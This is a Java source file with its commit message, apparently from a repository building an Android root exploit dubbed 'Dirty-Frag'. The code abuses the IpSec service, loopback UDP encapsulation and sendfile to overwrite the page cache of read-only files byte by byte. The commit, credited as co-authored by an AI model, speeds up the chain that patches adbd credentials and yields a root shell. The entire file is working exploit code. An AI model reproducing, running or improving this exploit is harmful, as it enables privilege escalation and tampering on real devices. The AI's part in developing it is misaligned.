Files
fuguquest/java/Writer.java
T
henryandClaude Opus 4.8 2f87be3be2 optimize: burst-paced Writer + tighter polls -> adb-root 6.1s -> 3.74s (settle unchanged at 0.3)
Two stability-neutral speedups, validated 6/6 on Q3 (build 52433670036000520), rebooting to clean
Enforcing between every run (all flip + adbd cred-patch + fresh shell uid0; 3.71-3.76s):

- Writer.java: replace the per-record Thread.sleep(1) with a 1ms yield every 64 sends. The reactive
  EAGAIN/ECONNREFUSED retry already handles send-buffer pressure; the proactive per-packet sleep only
  needed to cap the in-flight burst so loopback UDP receive doesn't silently drop. Capping the burst
  at 64 (below the on-device ctor's proven-safe 98 sleepless sends) keeps that guarantee while cutting
  ~1.5s off the 1467-record inject/libas poison. e2e.dex rebuilt (javac -source8 -target8 + d8 min-api30).
- orchestrate.rs: tighten the restart / enforcing-flip / adb-root-verify poll intervals from 300-400ms
  to 100ms (same total timeouts) so detection latency isn't a fixed 0.3-0.4s per stage.

poison_batch 3.2s -> ~1.7s; total --adb-root 6.1s -> 3.74s.

Co-Authored-By: Claude Opus 4.8 <[email protected]>
2026-09-22 19:59:37 +02:00

144 lines
7.8 KiB
Java

package q3;
import android.system.Int64Ref;
import android.system.Os;
import android.system.OsConstants;
import java.io.FileDescriptor;
import java.io.RandomAccessFile;
import java.net.InetAddress;
import java.util.Arrays;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import android.os.Binder;
import java.lang.reflect.*;
/**
* Dirty-Frag chosen-content page-cache writer (uid 2000). Poisons a SHELL-READABLE file's page
* cache to a desired byte-set, writing ONLY the bytes that differ (diff-optimized). Stages its
* OWN SA on spi 0xDEADBE11 so it can coexist with the Stager's 0xDEADBE10.
*
* Usage: Writer <targetfile> <patchspec>
* patchspec = binary list of records: u32 little-endian offset, u8 desired-value (5 bytes each)
* Only records whose desired value != current page-cache value are written (1 packet each).
*/
public class Writer {
static final int MSG_MORE = 0x8000;
static Object svc;
static Class<?> C(String n) throws Exception { return Class.forName(n); }
static Object call(String n, Class<?>[] s, Object... a) throws Exception {
try { return C("android.net.IIpSecService").getMethod(n, s).invoke(svc, a); }
catch (InvocationTargetException e) { throw new RuntimeException(n + " -> " + e.getCause()); }
}
static int fi(Object o, String f) throws Exception {
Field x = o.getClass().getDeclaredField(f); x.setAccessible(true); return x.getInt(o);
}
static byte[] KEYMAT = new byte[20];
static Object[] KEEP; // pins the IpSec token/socket/SA alive against mid-run GC teardown
static Cipher AES;
static int ks0(byte[] iv) throws Exception {
byte[] ctr = new byte[16];
System.arraycopy(KEYMAT, 16, ctr, 0, 4);
System.arraycopy(iv, 0, ctr, 4, 8);
ctr[15] = 2;
return AES.doFinal(ctr)[0] & 0xff;
}
public static void main(String[] argv) {
try { run(argv); } catch (Throwable t) { System.out.println("[!] " + t); t.printStackTrace(System.out); }
}
static void run(String[] argv) throws Exception {
// argv is one or more (targetfile, patchspec) PAIRS. One SA is staged and reused for all
// files, so batching several poisons into a single Writer invocation avoids repeated
// JVM + IpSec-SA startup cost.
int npairs = argv.length / 2;
for (int i = 0; i < 20; i++) KEYMAT[i] = (byte) (0x41 + i);
AES = Cipher.getInstance("AES/ECB/NoPadding");
AES.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(Arrays.copyOfRange(KEYMAT, 0, 16), "AES"));
Object b = C("android.os.ServiceManager").getMethod("getService", String.class).invoke(null, "ipsec");
svc = C("android.net.IIpSecService$Stub").getMethod("asInterface", C("android.os.IBinder")).invoke(null, b);
Class<?> IB = C("android.os.IBinder");
Object tok = new Binder();
Object enc = call("openUdpEncapsulationSocket", new Class<?>[]{int.class, IB}, 0, tok);
int encRid = fi(enc, "resourceId"), port = fi(enc, "port");
int WSPI = 0xDEAD0000 | (new java.util.Random().nextInt(0x10000)); // random -> no stale-SA collision on retry
Object spiR = call("allocateSecurityParameterIndex", new Class<?>[]{String.class, int.class, IB},
"127.0.0.1", WSPI, tok);
int spiRid = fi(spiR, "resourceId"), spi = fi(spiR, "spi");
Object alg = C("android.net.IpSecAlgorithm").getConstructor(String.class, byte[].class, int.class)
.newInstance("rfc4106(gcm(aes))", KEYMAT, 128);
Class<?> cfgC = C("android.net.IpSecConfig");
Object cfg = cfgC.getDeclaredConstructor().newInstance();
cfgC.getMethod("setMode", int.class).invoke(cfg, 0);
cfgC.getMethod("setSourceAddress", String.class).invoke(cfg, "127.0.0.1");
cfgC.getMethod("setDestinationAddress", String.class).invoke(cfg, "127.0.0.1");
cfgC.getMethod("setSpiResourceId", int.class).invoke(cfg, spiRid);
cfgC.getMethod("setEncapType", int.class).invoke(cfg, 2);
cfgC.getMethod("setEncapSocketResourceId", int.class).invoke(cfg, encRid);
cfgC.getMethod("setEncapRemotePort", int.class).invoke(cfg, port);
cfgC.getMethod("setAuthenticatedEncryption", C("android.net.IpSecAlgorithm")).invoke(cfg, alg);
Object tr = call("createTransform", new Class<?>[]{cfgC, IB, String.class}, cfg, tok, "com.android.shell");
// Keep the IpSec objects strongly reachable for the WHOLE run. If tok/enc/spiR get GC'd mid-run
// (likely under post-boot memory pressure), IpSecService death-cleanup closes the encap socket +
// SA and every send then throws ECONNREFUSED -> the run aborts. Static ref pins them alive.
KEEP = new Object[]{ svc, tok, enc, spiR, alg, cfg, tr };
System.out.println("[*] writer SA status=" + fi(tr, "status") + " spi=0x" + Integer.toHexString(spi)
+ " port=" + port + " files=" + npairs);
FileDescriptor sk = Os.socket(OsConstants.AF_INET, OsConstants.SOCK_DGRAM, 0);
try { Os.setsockoptInt(sk, OsConstants.SOL_SOCKET, OsConstants.SO_SNDBUF, 4 << 20); } catch (Throwable t) {}
Os.connect(sk, InetAddress.getByName("127.0.0.1"), port);
int wrote = 0, skipped = 0;
java.util.Random rnd = new java.util.Random(0x51C1L);
for (int fidx = 0; fidx < npairs; fidx++) {
String path = argv[fidx*2];
byte[] spec = java.nio.file.Files.readAllBytes(new java.io.File(argv[fidx*2+1]).toPath());
int nrec = spec.length / 5;
FileDescriptor f = Os.open(path, OsConstants.O_RDONLY, 0);
RandomAccessFile r = new RandomAccessFile(path, "r");
for (int k = 0; k < nrec; k++) {
long o = (spec[k*5] & 0xffL) | ((spec[k*5+1] & 0xffL)<<8)
| ((spec[k*5+2] & 0xffL)<<16) | ((spec[k*5+3] & 0xffL)<<24);
int want = spec[k*5+4] & 0xff;
r.seek(o); int cur = r.read();
if (cur == want) { skipped++; continue; }
int need = (cur ^ want) & 0xff;
byte[] iv = new byte[8];
int n = 0;
while (true) { rnd.nextBytes(iv); n++; if (ks0(iv) == need) break;
if (n > 2000000) throw new RuntimeException("no IV @"+o); }
byte[] hdr = new byte[16];
hdr[0]=(byte)(spi>>>24); hdr[1]=(byte)(spi>>>16); hdr[2]=(byte)(spi>>>8); hdr[3]=(byte)spi;
hdr[7]=1; System.arraycopy(iv,0,hdr,8,8);
// Resilient send: on a busy system the loopback UDP buffer can transiently fill (EAGAIN)
// or a queued async ICMP error surfaces (ECONNREFUSED). Retry THIS record inline
// (flushing any corked partial first) instead of aborting the whole run.
int tries = 0;
while (true) {
try {
Os.sendto(sk, hdr, 0, 16, MSG_MORE, null, 0);
Os.sendfile(sk, f, new Int64Ref(o), 17);
Os.sendto(sk, new byte[0], 0, 0, 0, null, 0);
break;
} catch (android.system.ErrnoException e) {
try { Os.sendto(sk, new byte[0], 0, 0, 0, null, 0); } catch (Throwable ignore) {}
if (++tries > 500) throw e;
Thread.sleep(2);
}
}
wrote++;
// Pace by BURST, not per-packet: yield 1ms every 64 sends so the in-flight burst
// never exceeds 64 — below the on-device ctor's proven-safe 98 sleepless sends —
// without paying ~1ms * (records) (was the dominant cost of a large poison).
if ((wrote & 63) == 0) Thread.sleep(1);
}
r.close();
Os.close(f);
}
System.out.println("[+] wrote=" + wrote + " skipped=" + skipped);
}
}